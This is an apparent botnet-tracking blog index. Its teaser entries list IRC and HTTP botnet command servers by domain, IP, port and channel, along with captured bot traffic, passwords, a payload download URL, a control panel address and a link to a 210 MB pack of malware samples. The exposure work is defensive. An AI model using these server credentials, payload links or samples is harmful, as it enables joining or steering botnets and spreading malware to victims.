Remote Host Port Number 208.43.24.131 4565 USER nutigr nutigr nutigr :nutigr NICK [pJAM]-nutigr JOIN #kosher hosting infos: http://whois.domaintools.com/208.43.24.131
bbb.gigasphere.su(irc botnet hosted in Germany Berlin 1&1 Internet Ag)
Resolved : [bbb.gigasphere.su] To 13[140.122.83.196] Resolved : [bbb.gigasphere.su] To 13[59.44.116.205] Resolved : [bbb.gigasphere.su] To 13[59.106.14.111] Resolved : [bbb.gigasphere.su] To 13[49.212.53.154] Remote Host Port Number 217.160.224.132 4042 NICK new[USA|XP|COMPUTERNAME]eejxdfy USER xd “” “lol” :xd JOIN #lowbiz# JOIN #bizbiz# PONG 422 PONG :irc.priv5net8.com Now talking in #lowbiz# Topic On: [ #lowbiz# ] [ !down /99/106/112/81/55/59/40/99/107/35/106/110/47/122/118/96/115/106/115/122/98/72/104/73/78/71/126/118/104/98/116/ 12] TopicRead more...
122.226.202.225(ngrBot hosted in China Shaoxing Dingqi Internet Science Co. Ltd)
Remote Host Port Number 122.226.202.225 4802 PASS hax0r Nick n{US|XPa}hbdyqht Channel #ang ngrBot Channel #usa hosting infos: http://whois.domaintools.com/122.226.202.225
cctvhome10.hopto.org(irc bots hosted in United States Lanham Vecordia Web Services Inc)
Remote Host Port Number 199.85.215.60 6680 NICK Unix[]20904 USER Unix[]899046 192.168.2.128 cctvhome10.hopto.org :Unix[]454589 PONG :EEC5EB7 JOIN #[Unix]# PONG :nodo1.debiancrew.org hosting infos: http://whois.domaintools.com/199.85.215.60
www.maintpro-consultancy.com(pBot hosted in Philippines Maintpro Consultancy)
powered by LND – by BDM */ /* shouts: */ /* Yes we hate exposedbotnets.com */ /* have a nice day @ pig hate me lamers is not a prob lol Server www.maintpro-consultancy.com Port 9595 Channel #vics <? /****************************************************/ /* powered by LND - by BDM */ /* shouts: we fuck the world */ /****************************************************/Read more...
210mb malware samples
This package is full of irc bots,banking trojans,worms,rootkits have fun exploring them Download Download Download
p3dr1t0.info(ngrBot hosted in United States Herndon Road Runner Holdco Llc)
Remote Host Port Number 190.98.219.21 80 199.15.234.7 80 74.62.152.160 6060 PASS secret Local users: Current Local Users: 283 Max: 2070 Global users: Current Global Users: 283 Max: 1422 NICK n{US|XPa}scmyjzc USER scmyjzc 0 0 :scmyjzc PONG :7D743289 JOIN #hell secret PRIVMSG #hell :[d=”http://www.lomopalta.com/plugins/new.exe” s=”176128 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataScxaxs.exe” – Download retries:Read more...
nhg.knaqu.eu(irc botnet hosted in Denmark Tranbjerg Tdc A/s)
same guy run this botnet http://www.exposedbotnets.com/2010/04/ds32v7k3knaqueu.html Resolved : [nhg.knaqu.eu] To [62.243.224.85] Remote Host Port Number 62.243.224.85 4244 PASS NhG MODE [USA|NhGXP|031763] -ix JOIN #!En!# #xp PRIVMSG #!en!# :MSN: Thread Activated, Sending Message. PONG HTTP1.4 NICK [USA|NhGXP|031763] USER xyygsge * 0 :COMPUTERNAME Now talking in #!en!# Topic On: [ #!en!# ] [ .msn look here isRead more...
fesko-cheats.ru(G-Bot hosted in Ukraine Kiev Private Joint Stock Company Datagroup)
G-Bot the http malware from russia with love The bot owner try to hide via legit board wich is fesko-cheats.ru Panel is located here http://fesko-cheats.ru/panel/login.php HTTP Query Text fesko-cheats.ru GET /panel/getcmd.php?id=951725031&traff=0 HTTP/1.1 Sample hosting infos: http://whois.domaintools.com/93.183.203.79
sw.l33t-milf.info( 100k reptile bots spreading via ms exploit)
This is one of the biggest irc botnets still active 13 leafs full of bots I estimated the botnet size to 100k considering the number of leafs 13 but the real size can be bigger Domain names used to control bots: sw.l33t-milf.info pics.l33t-ppl.info Resolved : [sw.l33t-milf.info] To [95.48.93.250] Resolved : [sw.l33t-milf.info] To [85.159.163.42] Resolved :Read more...